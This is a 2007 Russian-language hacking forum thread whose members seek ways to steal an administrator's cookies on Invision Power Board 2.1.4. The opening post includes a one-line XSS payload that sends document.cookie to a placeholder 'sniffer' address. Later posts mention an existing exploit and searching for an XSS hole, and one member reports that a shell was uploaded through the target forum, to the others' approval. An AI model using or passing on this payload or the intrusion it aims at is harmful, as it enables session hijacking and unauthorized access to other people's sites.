Форумы Invision Power Board v2.1.4

Discussion in 'Уязвимости CMS/форумов' started by Новенький, 29 Aug 2007.

  1. Новенький

    Joined:
    26 Aug 2007
    Messages:
    8
    Likes Received:
    1
    Reputations:
    -25
    Как украсть куки у админа Invision Power Board v2.1.4 .

    <script>img = new Image(); img.src = "Тут адрес сниффера?data="+document.cookie;</script> . Это всё я отправляю в личку . Но ему приходит всё в этом же виде, как быть ?
     
  2. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    115
    Likes Received:
    28
    Reputations:
    -4
    А сплойт от Rst не работает там?
     
  3. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Надо xss'ку искать. Хотя я сомневаюсь, что в ipb 2.1.4 она есть. Так бы любой дурак мог украсть куки у кого угодно.
     
  4. Новенький

    Joined:
    26 Aug 2007
    Messages:
    8
    Likes Received:
    1
    Reputations:
    -25
    Никогда не слышал про это, сейчас почитаю
     
  5. Новенький

    Joined:
    26 Aug 2007
    Messages:
    8
    Likes Received:
    1
    Reputations:
    -25
    Не это не то. Может кто знает еще способы ?
     
  6. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    115
    Likes Received:
    28
    Reputations:
    -4
    Скорее всего пофиксали
    стучи в асю, может че-нить найдем
     
  7. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Шелл залит через форум! всё
     
    #7 Goudini, 31 Aug 2007
    Last edited: 31 Aug 2007
    2 people like this.
  8. Фещ

    Фещ Banned

    Joined:
    20 Aug 2007
    Messages:
    92
    Likes Received:
    91
    Reputations:
    -11
    а поподробнее про взлом можно? ) какую багу юзали - как заливали
     
  9. Новенький

    Joined:
    26 Aug 2007
    Messages:
    8
    Likes Received:
    1
    Reputations:
    -25
    Большое спасибо всем кто участвовал......Отдельное спасибо Goudini - просто монстр .....- поставьте кому не лень от меня ему + ......сам пока не могу.
     
Loading...